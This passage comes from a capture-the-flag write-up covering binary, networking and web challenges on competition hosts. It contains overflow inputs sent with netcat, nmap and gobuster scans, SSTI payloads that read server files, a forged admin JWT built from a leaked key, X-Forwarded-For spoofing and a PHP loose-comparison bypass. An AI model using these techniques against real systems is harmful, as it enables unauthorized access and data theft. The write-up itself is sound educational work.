        local_10 = *(long *)(in_FS_OFFSET + 0x28);
        puts("\x1b[36mКакой пароль？\x1b[0m");
        printf("> ");
        fgets(local_58,0x3c,stdin);
        iVar3 = strcmp("молоток123\n",local_58);
        if (iVar3 == 0) {
            local_67[0] = 0xe4;
            local_67[1] = 100;
            local_67[2] = 0xa6;
            local_67[3] = 0x90;
            local_67[4] = 0x7c;
            local_67[5] = 0xa6;
            local_67[6] = 0x75;
            local_67[7] = 0xb8;
            local_67[8] = 0xa4;
            local_67[9] = 0xd;
            local_67[10] = 0xc;
            local_67[11] = 0x7f;
            local_67[12] = 0x7e;
            local_67[13] = 0xf3;
            local_67[14] = 1;
            local_74 = 0;
            while (local_74 < 0xf) {
            bVar2 = (byte)local_74;
            bVar1 = ~(~(~-((local_67[local_74] ^ 0xa5) - bVar2 ^ bVar2) ^ 0x8d) - 0xb);
            local_67[local_74] = (((bVar1 << 5 | bVar1 >> 3) + 0x37 ^ 0xe5) - 7 ^ bVar2) - 0x39;
            local_74 = local_74 + 1;
            }
            printf("\x1b[32mверный!\x1b[0m\n\n\x1b[33mфлаг: %s\x1b[0m\n",local_67);
        }
        else {
            puts("\x1b[31mневерный.\x1b[0m");
        }
        if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                            /* WARNING: Subroutine does not return */
            __stack_chk_fail();
        }
        return 0;
    }
   ```

   The program compares the user input to `молоток123`, which translates to `hammer123`.
3. Running the program and entering `молоток123` outputs `верный! флаг: wh1te%BluE$R3d` (Translation: `Right! Flag:` wh1te%BluE$R3d), which is the flag.

### Flag

`wh1te%BluE$R3d`


# BM02 - 250pts

## Briefing

> Download the file and find a way to get the flag. Contents: program

Challenge Files:

* [bm02.zip](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Binary/BM02/bm02.zip)

## Solution

1. Running the program simply outputs `I'm not going to make it that easy for you.`.
2. Decompiling the binary using Ghidra reveals a `printFlag()` function that prints the flag if it is called with `0x539` as an argument.

   `printFlag` function:

   ```cpp
    void printFlag(int param_1)

    {
        byte bVar1;
        byte bVar2;
        long in_FS_OFFSET;
        uint local_2c;
        byte local_28 [24];
        long local_10;

        local_10 = *(long *)(in_FS_OFFSET + 0x28);
        if (param_1 == 0x539) {
            local_28[0] = 0x15;
            local_28[1] = 0x70;
            local_28[2] = 0xe5;
            local_28[3] = 100;
            local_28[4] = 0x7a;
            local_28[5] = 0xd4;
            local_28[6] = 0x6d;
            local_28[7] = 0x75;
            local_28[8] = 0xeb;
            local_28[9] = 0xf4;
            local_28[10] = 0x6a;
            local_28[11] = 0xd1;
            local_28[12] = 0xfa;
            local_28[13] = 0xd1;
            local_28[14] = 0xf9;
            local_28[15] = 0xe8;
            local_28[16] = 0x9d;
            local_28[17] = 0x7c;
            local_28[18] = 0x41;
            local_2c = 0;
            while (local_2c < 0x13) {
            bVar2 = (byte)local_2c;
            bVar1 = ~-((~local_28[local_2c] + bVar2 ^ 0x48) - bVar2);
            bVar2 = ((bVar1 << 3 | bVar1 >> 5) - bVar2 ^ 0x5d) - 0x23 ^ bVar2;
            bVar1 = (bVar2 * '\x02' | bVar2 >> 7) + 0xbf;
            local_28[local_2c] = (bVar1 * ' ' | bVar1 >> 3) ^ 0x65;
            local_2c = local_2c + 1;
            }
            puts((char *)local_28);
        }
        if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                            /* WARNING: Subroutine does not return */
            __stack_chk_fail();
        }
        return;
    }
   ```
3. We run the program using GDB and do the following:
   1. Breakpoint at `puts`: `b puts`
   2. Run: `r`
   3. Call `printFlag` with the correct argument: `call (char *) printFlag(0x539)`
   4. The flag is shown as `Flag: patchItFixIt`.

### Flag

`patchItFixIt`


# BM03 - 250pts

## Briefing

> Download the file and find a way to get the flag. Contents: flag

Challenge Files:

* [bm03.zip](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Binary/BM03/bm03.zip)

## Solution

1. Decompiling the binary shows an `output()` function and a line in `output()` that stops printing the flag if the `rows` argument is less than `6`.

   `output` function:

   ```cpp
    void output(int rows,int cols)

    {
        long lVar1;
        undefined8 *puVar2;
        undefined8 *puVar3;
        long in_FS_OFFSET;
        int i;
        int j;
        int flag [6] [85];
        char flagChars [11];
        long local_10;

        local_10 = *(long *)(in_FS_OFFSET + 0x28);
        lVar1 = 0xff;
        puVar2 = &DAT_00100a00;
        puVar3 = (undefined8 *)flag;
        while (lVar1 != 0) {
            lVar1 = lVar1 + -1;
            *puVar3 = *puVar2;
            puVar2 = puVar2 + 1;
            puVar3 = puVar3 + 1;
        }
        flagChars[0] = ' ';
        flagChars[1] = '_';
        flagChars[2] = '/';
        flagChars[3] = '\\';
        flagChars[4] = '(';
        flagChars[5] = ')';
        flagChars[6] = '`';
        flagChars[7] = ',';
        flagChars[8] = '|';
        flagChars[9] = '.';
        flagChars[10] = '\0';
        i = 0;
        while (i < rows) {
            j = 0;
            while (j < cols) {
            putchar((int)flagChars[flag[(long)i * 0x55 + (long)j] / 100]);
            j = j + 1;
            }
            putchar(10);
            i = i + 1;
        }
        if (rows < 6) {
            puts("\x1b[31m Error displaying rest of flag\x1b[0m");
        }
        if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                            /* WARNING: Subroutine does not return */
            __stack_chk_fail();
        }
        return;
    }
   ```
2. Launch the program in GDB then do the following:
   1. Breakpoint at `output`: `b output`
   2. Call `output` but will the `rows` argument set to `6`: `call output(6,0x55)`
   3. Continue past the breakpoint: `c`
   4. The flag is printed:

      ```
          __       __                          _                      ____ __           
      ____/ /___   / /_   __  __ ____ _ ____ _ (_)____   ____ _       / __// /_ _      __
      / __  // _ \ / __ \ / / / // __ `// __ `// // __ \ / __ `/      / /_ / __/| | /| / /
      / /_/ //  __// /_/ // /_/ // /_/ // /_/ // // / / // /_/ /      / __// /_  | |/ |/ / 
      \__,_/ \___//_.___/ \__,_/ \__, / \__, //_//_/ /_/ \__, /______/_/   \__/  |__/|__/  
                             /____/ /____/           /____//_____/
      ```

### Flag

`debugging_ftw`


# BX01 - 1000pts

## Briefing

> Access the network service at url: `cfta-bx01.allyourbases.co` and port: `8012` and find a way to get the flag by formatting a valid request.

## Solution

1. I completely overthought this problem I was trying advanced buffer overflow techniques (trying to get past a canary, etc) when the valid request is actually pretty simple.
2. I start by testing if the service is vulnerable to a buffer overflow: `python -c "print('a'*700)" | nc cfta-bx01.allyourbases.co 8012`

   ```
    Processing request...
    Exception: angle brackets not terminated.
    *** stack smashing detected ***
   ```

   Looks like it is vulnerable.
3. I wrote a simple [pwntools Python script](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Binary/BX01/script.py) to try some possible offsets and found the overflow to happen at `311`, so the offset is `310`.
4. `python -c "print('a'*310)" | nc cfta-bx01.allyourbases.co 8012` simply outputs:

   ```
    Processing request...
    Exception: angle brackets not terminated.
   ```
5. We can send 310 `>`s instead of `a`s to terminate the angle brackets and get the flag: `python -c "print('>'*310)" | nc cfta-bx01.allyourbases.co 8012`:

   ```
    Processing request...
    Exception: angle brackets not terminated.
    Request successful.

    Flag: AlOnGSeaRcHFoROverWriTe
   ```

### Flag

`AlOnGSeaRcHFoROverWriTe`


# BX02 - 100pts

## Briefing

> Access the network service at url: `cfta-bx02.allyourbases.co` port: `8013` and find a way to get the flag.

## Solution

1. It doesn't matter what input we give the service. It always tells us `DEBUG: Input length too large`. So, the first step is to see if we can find an input that is not too large. I wrote a Python [script.py](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Binary/BX02/script.py) to try every printable ascii character.
2. The [script.py](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Binary/BX02/script.py) finds that `#` is the only printable ASCII character that is considered short enough.
3. I tried sending a lot of `#`s by running `python -c "print('#'*4000)" | nc cfta-bx02.allyourbases.co 8013` and got this error `ERROR: Expected userID Variable of 1.`.
4. Maybe this service is vulnerable to a buffer overflow. Let's try to find an offset using a script similar to the one used for [BX01](/binary/bx01). The next stage of [script.py](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Binary/BX02/script.py) does this. It keeps sending more and more `#`s until the message `ERROR: Expected userID Variable of 1` is shown. The offset is found to be `2005`.
5. A buffer overflow is successful. The final payload is: `python -c "print('#'*2005+'1'*30)" | nc cfta-bx02.allyourbases.co 8013`. The 30 `1`s is arbitrary. I tried one `1` and nothing changed so I tried 30 and it worked.

   ```
    Come Fuzz Me Bro.
    DEBUG: Waiting 100ms
    DEBUG: Waiting 100ms
    DEBUG: Waiting 100ms
    DEBUG: Waiting 100ms
    DEBUG: Waiting 100ms
    DEBUG: Waiting 100ms
    DEBUG: Waiting 100ms
    DEBUG: Waiting 100ms
    DEBUG: Waiting 100ms
    DEBUG: Waiting 100ms
    DEBUG: Waiting 100ms
    DEBUG: Waiting 100ms
    DEBUG: Waiting 100ms
    DEBUG: Waiting 100ms
    DEBUG: Input length too large.

    Flag: ThIsOneIsAbITFuZZy-6y
    DEBUG: Waiting 100ms
   ```

### Flag

`ThIsOneIsAbITFuZZy-6y`


# BE01 - 100pts

## Briefing

> Download the file and find a way to get the flag. Contents: chicken.pdf

Challenge Files:

* [be01.zip](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Binary/BE01/be01.zip)

## Solution

1. First, extract the PDF as a ZIP file. Depending on the extraction tool used, you might need to rename the file so it has a `.zip` extension: `chicken.zip`.
2. Extract the `egg.zip` inside and repeatedly extract the inner ZIP files until you get `egg.pdf`, which contains the flag.
3. The final path of the `egg.pdf` file is `be01/chicken/egg/chicken/egg/chicken/egg.pdf`.

### Flag

`wh1ch_came_f1rst?`


# BE02 - 100pts

## Briefing

> Download the file and find a way to get the flag. Contents: rot13

Challenge Files:

* [be02.zip](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Binary/BE02/be02.zip)

## Solution

1. We could decompile the binary using Ghidra to understand how it works, but trial and error is faster for this challenge.
2. Sending a large number of characters as input (a >32 character string) causes a segmentation fault and prints the flag.
3. We can use 33 `a`'s as input to get the flag: `python -c "print('a'*33)" | ./rot13`.

### Flag

`luckyNumber13`


# BH01 - 500pts

## Briefing

> Download the file and find a way to get the flag. Contents: program

Challenge Files:

* [bh01.zip](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Binary/BH01/bh01.zip)

## Solution

1. Inputting some random letters into the program prints some of the flag:

   ```
    What is the magic word?
    djyawthvdbhgsajdghytwilhqypdoasgdbhwgdytqvdkbfuhgyabkhsj
    Flag: aLittLeObfuScatIo������uF?9��
    Did you understand that?
   ```

   However, the amount of the flag that is printed changes each time we run the program using the same input. There appears to be 4 different variations so a random number generator is involved. Using an input that consists of a single character seems to always produce the same output.
2. We can decompile the binary using Ghidra to see what the program does:

   `main` function:

   ```cpp
    undefined8 FUN_00101209(void)

    {
        byte bVar1;
        byte bVar2;
        int iVar3;
        uint uVar4;
        time_t tVar5;
        long in_FS_OFFSET;
        uint local_90;
        time_t local_88;
        undefined4 local_7d;
        undefined local_79;
        undefined8 local_78;
        undefined8 local_70;
        undefined8 local_68;
        undefined8 local_60;
        undefined4 local_58;
        undefined8 local_48;
        undefined8 local_40;
        undefined8 local_38;
        undefined8 local_30;
        undefined8 local_28;
        undefined2 local_20;
        long local_10;

        local_10 = *(long *)(in_FS_OFFSET + 0x28);
        tVar5 = time(&local_88);
        srand((uint)tVar5);
        local_48 = 0;
        local_40 = 0;
        local_38 = 0;
        local_30 = 0;
        local_28 = 0;
        local_20 = 0;
        local_7d = 0x16120a05;
        local_79 = 0x18;
        puts("What is the magic word?");
        fflush(stdout);
        fgets((char *)&local_48,0x28,stdin);
        local_78 = 0x103f4f6c803a05b6;
        local_70 = 0x9f2abbb5f5e62364;
        local_68 = 0x982b00094580efba;
        local_60 = 0x3f4675fb93f9dfb2;
        local_58 = 0x1afcba39;
        iVar3 = rand();
        uVar4 = (int)*(char *)((long)&local_48 + (long)(int)*(char *)((long)&local_7d + (long)(iVar3 % 5))
                                ) - 0x5a;
        local_90 = 0;
        while (local_90 < uVar4) {
            bVar1 = ~*(byte *)((long)&local_78 + (ulong)local_90) + 0x2f;
            bVar2 = (byte)local_90;
            bVar1 = (~(~(0x57 - (~(bVar1 * -0x80 | bVar1 >> 1) - 0x33)) - 0x3f) ^ bVar2) + 0x4e ^ bVar2;
            bVar1 = ~((bVar1 * '\x02' | bVar1 >> 7) + 0x3d) ^ bVar2;
            bVar1 = ~(bVar1 << 3 | bVar1 >> 5);
            if ((int)uVar4 < 0) break;
            bVar1 = ~((bVar1 << 5 | bVar1 >> 3) - bVar2) - 0x17;
            bVar1 = ~((bVar1 * -0x80 | bVar1 >> 1) - bVar2);
            bVar1 = 0xad - ((bVar1 << 3 | bVar1 >> 5) + 0x3c);
            bVar1 = (bVar1 * ' ' | bVar1 >> 3) + bVar2;
            bVar1 = (bVar1 * '\b' | bVar1 >> 5) - bVar2;
            bVar1 = ~(bVar1 * -0x80 | bVar1 >> 1) ^ bVar2;
            bVar2 = (bVar1 * -0x40 | (byte)-bVar1 >> 2) - bVar2;
            bVar1 = ~(~(~(bVar2 * ' ' | bVar2 >> 3) ^ 0x45) - 8);
            *(byte *)((long)&local_78 + (ulong)local_90) =
                (0xd1 - ((bVar1 << 2 | bVar1 >> 6) ^ 0xef) ^ 0x65) - 0x3a;
            local_90 = local_90 + 1;
        }
        puts((char *)&local_78);
        puts("Did you understand that?");
        if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
            return 0;
        }
                            /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
   ```
3. The program picks a random byte from `local_7d` and uses that byte to index the user input to get a single character `uVar4`. Next, a loop runs that prints the flag character by character. However, it only iterates trough the loop `uVar4 - 0x5a` times. Therefore, the letter that is selected from the input has to have an ascii code minus `0x5a` (90) that is greater than the length of the flag.
4. `}` has a large ascii value. If we sent a lot of `}`s into the program, it will print the flag: `python -c "print('}'*50)" | ./program`. This is because the program selects a random character from our input, subtracts 90 from it, and then prints that many characters of the flag. So, `125 - 90 = 35` which means the loop runs 35 times and successfully displays the 29 character flag. We cannot use just one `}` because the program selects a random character from the input and it a character does not exist at the chosen index, it selects `\x00` (a null byte).

   ```
    What is the magic word?
    }}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
    Flag: aLittLeObfuScatIonalCharActEr
    Did you understand that?
   ```

### Flag

`aLittLeObfuScatIonalCharActEr`


# Networking


# NM01 - 250pts

## Briefing

> Retrieve output from network endpoint at `cfta-nm01.allyourbases.co` port `8017` and figure out how to get the flag.

## Solution

1. Let's connect to the service using `netcat` and see what we're dealing with:

   ```
    $ nc cfta-nm01.allyourbases.co 8017
    \x47\x4A\x52\x57\x5A\x44
    a
    Incorrect
   ```
2. It seems to output some hexadecimal. Let's try again and input the ascii representation:

   ```
    $ nc cfta-nm01.allyourbases.co 8017
    \x55\x45\x57\x45\x4F\x4B
    UEWEOK
    Too slow!
   ```
3. Okay, we need to do it faster. So, let's write a script that connects, converts the hexadecimal to ascii, submits the ascii representation, and then hopefully get the flag.
4. [script.py](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Networking/NM01/script.py) uses pwntools to do just that. Running the script produces the following output:

   ```
    [+] Opening connection to cfta-nm01.allyourbases.co on port 8017: Done
    Decoded String: YXDKJZ
    [*] Switching to interactive mode
    Correct! - Flag: o[hex]=>i[ascii]=:)
    [*] Got EOF while reading in interactive
    [*] Closed connection to cfta-nm01.allyourbases.co port 8017
    [*] Got EOF while sending in interactive
   ```

### Flag

`o[hex]=>i[ascii]=:)`


# NE01 - 100pts

## Briefing

> There is a TCP network service running on `cfta-ne01.allyourbases.co`. Find it to get the flag after you connect. Note: The target has many open ports - only one is the correct one. The correct port will identify itself with `ID: ne01` after you connect.

## Solution

1. Use `nmap` to scan the domain: `nmap -Pn -sT -p1000-10000 -v cfta-ne01.allyourbases.co`

   `nmap` results:

   ```
    Completed Connect Scan at 17:46, 138.11s elapsed (9001 total ports)
    Nmap scan report for cfta-ne01.allyourbases.co (52.210.101.44)
    Host is up (0.11s latency).
    Other addresses for cfta-ne01.allyourbases.co (not scanned): 34.251.231.207
    rDNS record for 52.210.101.44: ec2-52-210-101-44.eu-west-1.compute.amazonaws.com
    Not shown: 8997 filtered ports
    PORT     STATE SERVICE
    1061/tcp open  kiosk
    8012/tcp open  unknown
    8013/tcp open  unknown
    8017/tcp open  unknown

    Nmap done: 1 IP address (1 host up) scanned in 138.19 seconds
   ```
2. Manually connecting to each port with `netcat` shows the flag:

   ```
    $ nc 52.210.101.44 1061
    ID: ne01
    Flag: Nmap_0f_the_W0rld!
   ```

### Flag

`Nmap_0f_the_W0rld!`


# Web


# WX01 - 1000pts

## Briefing

> Access the url at: <https://cfta-wx01.allyourbases.co> and find a way to login to the admin portal to get the flag. Note: You have been provided with the following credentials to help you: username: `tim` password: `berners-lee`

## Solution

1. There is a login form and a form to enter an email address to get help logging in. Attempting to login with the provided credentials, `tim:berners-lee`, and monitoring requests using Burp Suite shows that a POST request with the JSON `action` key set to `verify` and a `token` key that corresponds to a JSON Web Token.
2. I attempted to brute force decrypt this JWT, but it did not succeed.
3. I moved on to the help form. It has to serve a purpose and thus must be vulnerable to some form of input. I tried a [SSTI (Server Side Template Injection)](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection) similar to the Italian dish suggestion site from [WM04](/web/wm04). Crashing the help form using the SSTI string `{{foo()}}` prints this as part of a stacktrace:

   ```
    File "/var/task/lambda_function.py", line 18, in getHelp
    msg = Template(template).render(dir=dir, help=help, locals=locals, globals=globals, open=open)
   ```

   We have access to `locals()` and `globals()`. Also, `open()` lets us read an arbitrary file.
4. Use `{{open('lambda_function.py').read()}}` to dump the contents of `lambda_function.py`:

   ```python
    import json
    import urllib
    import jwt
    import os

    # JWT Key
    key = "aversion-chute-freeway-corporal"
    algo = "HS256"

    def getHelp(event):
        email = ''.join(event['email'])
        template = """
        <p>Your request has been submitted.</p>
        <p>You will receive an email at: %s</p>
        <p>This might take a reaaaaaaally long time though (forever).</p>
        """ % (urllib.parse.unquote(email).replace("<", "&lt;").replace(">", "&gt;"))
        msg = Template(template).render(dir=dir, help=help, locals=locals, globals=globals, open=open)
        msg = msg[:-len(msg)+700]
        return msg
   ```

   The JWT key is `aversion-chute-freeway-corporal`.
5. Login with credentials `tim:berners-lee` to get a JWT: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InRpbSIsInJvbGUiOiJ1c2VyIn0.j8wX114OSLEo2I4S6GQ4wQ4ZszXtyp0wFc0lpwc1yRQ`.
6. Use [jsonwebtoken.io](https://www.jsonwebtoken.io/) to change the `role` value from `user` to `admin` with the leaked secret key to get a new JWT: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InRpbSIsInJvbGUiOiJhZG1pbiIsImp0aSI6IjUxZjE3OTJiLWMwYjItNGQ3NS04YjY5LTE0ZDM5ZjJkMGM2NiIsImlhdCI6MTYxNzcyNDk1MiwiZXhwIjoxNjE3NzI4NTUyfQ.QoopGSdFjhSe0gxHwEng-n6e9Z5FTP3_-iemndGcJVU`
7. Send a request with this JSON `{"action":"verify","token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InRpbSIsInJvbGUiOiJhZG1pbiIsImp0aSI6IjUxZjE3OTJiLWMwYjItNGQ3NS04YjY5LTE0ZDM5ZjJkMGM2NiIsImlhdCI6MTYxNzcyNDk1MiwiZXhwIjoxNjE3NzI4NTUyfQ.QoopGSdFjhSe0gxHwEng-n6e9Z5FTP3_-iemndGcJVU"}` to get the flag.

### Flag

`muLtiStagingIT710-12`


# WE01 - 100pts

## Briefing

> View the page at <https://cfta-we01.allyourbases.co> and try to get the flag.

## Solution

1. Looking at the source code for the website shows that all we have to work with is this: `ロ='',コ=!ロ+ロ,Y=!コ+ロ,ㅣ=ロ+{},ᗐ=コ[ロ++],Ξ=コ[Δ=ロ],ᐳ=++Δ+ロ,ㅡ=ㅣ[Δ+ᐳ],ウ="+=*:.",コ[ㅡ+=ㅣ[ロ]+(コ.Y+ㅣ)[ロ]+Y[ᐳ]+ᗐ+Ξ+コ[Δ]+ㅡ+ᗐ+ㅣ[ロ]+Ξ][ㅡ](ㅣ[Δ+ᐳ]+ㅣ[ロ]+(コ.Y+ㅣ)[ロ]+Y[ᐳ]+ㅣ[ロ]+Y[Δ]+コ[ᐳ]+ウ[ᐳ+ロ]+Y[Δ]+ㅣ[ロ]+(([]+([]+[])[ㅡ])[ᐳ*(ᐳ+ロ)+Δ])+"(Y[Δ-Δ]+Y[Δ]+Y[ロ]+(([]+([]+[])[ㅡ])[ᐳ*(ᐳ+ロ)+Δ])+ウ[ᐳ]+ㅣ[(ᐳ+ロ)*ロ+ᐳ]+コ[Δ]+(コ.Y+ㅣ)[ロ]+(コ.Y+ㅣ)[ᐳ*Δ-ロ]+ㅡ[ロ-ロ]+ㅡ[ロ]+(コ.Y+ㅣ)[ᐳ-ロ]+コ[ᐳ]+ウ[ロ-ロ]+ㅣ[ロ]+ㅣ[Δ]+Y[Δ-Δ]+コ[Δ]+Y[ᐳ]+ㅡ[ᐳ-ᐳ]+Y[ロ]+ᗐ+(コ.Y+ㅣ)[ᐳ*Δ-ロ]+ㅣ[ロ]+(コ.Y+ㅣ)[ロ]+ウ[ロ]+ㅣ[ᐳ]+Y[ᐳ]+ウ[Δ]+Y[Δ-Δ]+コ[Δ]+(コ.Y+ㅣ)[ロ] )")()`
2. The brackets make it seem like a programming language. Searching the beginning new characters finds [aurebesh.js](http://aem1k.com/aurebesh.js/), which says this is executable JavaScript code.
3. Sure enough, running the snippet in the JS console gives the flag.

### Flag

`unicode+obfuscation=js*fun`


# WE02 - 100pts

## Briefing

> View the page at <https://cfta-we02.allyourbases.co> and try to get the flag.

## Solution

1. Looking around for the usual hints shows that `https://cfta-we02.allyourbases.co/robots.txt` exists and disallows `/4ext6b6.html`.
2. Visiting `/4ext6b6.html` shows the flag.

### Flag

`Shhh_robot_you_said_too_much!`


# WH01 - 500pts

## Briefing

> Access the site at <https://cfta-wh01.allyourbases.co> and find a way to get the flag from the CMS.

## Solution

1. Since the website looks pretty empty we can try some directory busting: `gobuster dir -u https://cfta-wh01.allyourbases.co/ -t 200 --exclude-length 16 --extensions txt,html -w /usr/share/wordlists/dirb/common.txt`. We use the common `dirb` list included with Kali and also check for files with `txt` or `html` extensions.

   `gobuster` output:

   ```
    [+] Url:                     https://cfta-wh01.allyourbases.co/
    [+] Method:                  GET
    [+] Threads:                 200
    [+] Wordlist:                /usr/share/wordlists/dirb/common.txt
    [+] Negative Status codes:   404
    [+] Exclude Length:          16
    [+] User Agent:              gobuster/3.1.0
    [+] Extensions:              txt,html
    [+] Timeout:                 10s
    ===============================================================
    2021/04/08 19:43:11 Starting gobuster in directory enumeration mode
    ===============================================================
    /admin.html           (Status: 304) [Size: 0]
    /index.html           (Status: 200) [Size: 616]
    /index.html           (Status: 200) [Size: 616]
    /readme.txt           (Status: 200) [Size: 154]
    /soap                 (Status: 200) [Size: 0]  

    ===============================================================
    2021/04/08 19:43:23 Finished
    ===============================================================
   ```
2. We find an interesting `/admin.html` file, which is empty, and `/readme.txt`. `/readme.txt` says the following:

   ```
    To use the CMS make sure to visit /admin.html from allowed IPs on the local network.

    Note: Tell engineering to stop moving the subnet from 192.168.0.0/24
   ```
3. So, `/admin.html` only works when a request comes from an IP on the local network. It's possible that the service is simply checking the `X-Forwarded-For` HTTP header so let's try that.
4. We can use a Python [script](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Web/WH01/script.py) to loop through every possible IP and make a get request with the `X-Forwarded-For` set to the IP that is currently being tested. If the length of the response is greater than 0, we print the response. This finds the flag after a few seconds.

### Flag

`iPSpooFinGWiThHopHeaDers91918`


# WH02 - 500pts

## Briefing

> Access the site at <https://cfta-wh02.allyourbases.co> and find a way to get the flag.

## Solution

1. We can try directory bruteforcing because the website source code does not reveal anything. Let's use `gobuster`: `gobuster dir -u https://cfta-wh02.allyourbases.co/ -t 200 --exclude-length 16 -w /usr/share/wordlists/dirb/common.txt`. We exclude the length `16` because 404 pages return HTTP status code 403 and have a length of 16. Running the command finds `/.git/HEAD`, which means there is a publicly facing git repository on the website.
2. We can download the git repo with `wget -r -np -R "index.html*" https://cfta-wh02.allyourbases.co/.git/`. Run `git checkout -- .` to restore `index.html` since we only download the `.git/` folder, not the entire working directory.
3. Run `git log` to look for previous commits. Sure enough there is one previous commit. Run `git checkout 80e789704ddca67d772dbc34de1088e8c1917e9d` to revert to that previous version. There is now a `setup.sh` file. `cat setup.sh` shows the flag `FLAG="giTisAGreat_ResoURCe8337"`

### Flag

`giTisAGreat_ResoURCe8337`


# WM01 - 250pts

## Briefing

> View the page at <https://cfta-wm01.allyourbases.co> and try to get the flag.

## Solution

1. When looking around for interesting files we can find an interesting comment in `/assets/js/site.js` that says `// Image slideshow. Moved in from /new-images when each is finalised`.
2. Navigating to `/new-images` shows a list of pictures. Checking each picture to see if the flag is hidden using steganography tricks yields nothing.
3. It took a lot of different ideas but eventually I tried using Google's reverse image search to see if any of the images in `/new-images` were unique. The image of the macbook with the screen showing "mii-home" got some matches, but none of them had the "mii-home" graphic. Going to `/mii-home` shows a login page.
4. The username and password for the login page at `/mii-home` are validated using `login.js`. We can deobfuscate it with [de4js](https://lelinhtinh.github.io/de4js/) to get the output in [login.js](https://github.com/HHousen/NCS-Competition/tree/e3a1ab990b675bd865fdddd9e5fa5cd7895b3b02/Web/WM01/login.js). We can run lines 1-18 in the JS console (only if not already on `/mii-home`) and then define j to hl\_b with `j = hl_b`. Finally, simply run line 28: `window[j(0x73)] = 'se' + 'curi' + 'ty-' + 'ca' + j(0x7d) + '/f' + j(0x70);`. This will redirect to `/mii-home/security-camera/feed/`.
5. We can look at the "Office" camera to see a note that says the WiFi password is `XGHEV7HGEV`, which is the flag.

### Flag

`XGHEV7HGEV`


# WM02 - 250pts

## Briefing

> View the page at <https://cfta-wm02.allyourbases.co> and try to get the flag.

## Solution

1. Looking at the source code we see an `h1` tag with data attributes: `<h1 id="user" data-user-name="henrywhite" data-user-id="152874" data-user-ref="c897cd08c105c0eff5ca296f56eaa4ab">Hello henrywhite!</h1>`
2. Changing the `data-user-name` to `admin` changes the text to `User data error`.
3. Looking at `/site.js` we see that `checkUser()` is called every second using `setInterval` at the bottom of the file. The following `if` statement contains the logic we can take advantage of: `if (get("user").dataset['userRef'] === hash(get("user").dataset['userName'] + "_" + get("user").dataset['userId']).split("").reverse().join("")) {`. We can change the `data-user-name` to `admin` and then run `hash(document.getElementById("user").dataset['userName'] + "_" + document.getElementById("user").dataset['userId']).split("").reverse().join("")` to get the `data-user-ref` to be `1dc3b8bdbf88d16df8a767eacb86f14c`. However, pasting this in causes the site to say `Invalid user`.
4. The solution is to also change `data-user-id` so it equals `"0"`. The final HTML should look this this: `<h1 id="user" data-user-id="0" data-user-name="admin" data-user-ref="31f7934415f3d31c64359bd51d378177">Hello admin!</h1>` You can get the `data-user-ref` after changing `data-user-id="0" data-user-name="admin"` and then running `hash(document.getElementById("user").dataset['userName'] + "_" + document.getElementById("user").dataset['userId']).split("").reverse().join("")`.
5. Replacing the HTML as discussed above prints the flag.

### Flag

`epoch_wizard`


# WM03 - 250pts

## Briefing

> Visit the site at <https://cfta-wm03.allyourbases.co> and find a way to bypass the password check.

## Solution

1. The source code for the HTML index has a PHP snippet that shows how the site validates the password:

   ```php
    <!--
    TODO: remove, taken from OSS project, login contains:
    -->
    return function ($event) {
        require_once("flag.php");
        $hash = "0e747135815419029880333118591372";
        $salt = "e361bfc569ba48dc";
        if (isset($event['password']) && is_string($event['password'])) {
            if (md5($salt . $event['password']) == $hash) {
                return $flag;
            }
        }
        return "Incorrect";
    };
   ```
2. I tried bruteforcing the salt and hash using `hashcat`, but that did not succeed.
3. The bug is that the hash of the salt and password is compared to the saved hash using `==` (double equals) instead of `===` (Triple equals). PHP interprets strings with only numbers and an `e` in them as float number format strings (numerical strings). If you use `==` in php, when you compare a number with a string or the comparison involves numerical strings, then each string is converted to a number and the comparison is performed numerically.
4. If we can find a password that when salted hashes to `0e` followed by only digits then when it is compared to the stored hash, it will evaluate to true. Both of the strings are converted to `0` when compared with `==`. If you want to compare them as strings, you should use `===` (strict comparison) instead. More info: <https://stackoverflow.com/a/22140266>
5. There might be a better way, but I simply wrote a bruteforce algorithm to try all the permutations of 8 ascii lowercase letters, prepend the salt, hash the string, and then check if the hash starts wth `0e` and contains only digits after that. It took about 3 minutes 30 seconds to find a valid password doing about 600,000 to 700,000 attempts per second. The discovered password was `acpgvxjy` and entering it into the site displays the flag.

### Flag

`theLOOSEtheMATH&theTRUTHY`


# WM04 - 250pts

## Briefing

> Visit the Italian dish suggestion site at <https://cfta-wm04.allyourbases.co> and find a way to get the flag.

## Solution

1. Try [SSTI (Server Side Template Injection)](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection) with `{{'7'*7}}`, which outputs `7777777` so the script is vulnerable. Note that editing and sending these requests is much easier using Burp Suite's repeater (intercept a request and right click then choose "Sent to repeater").
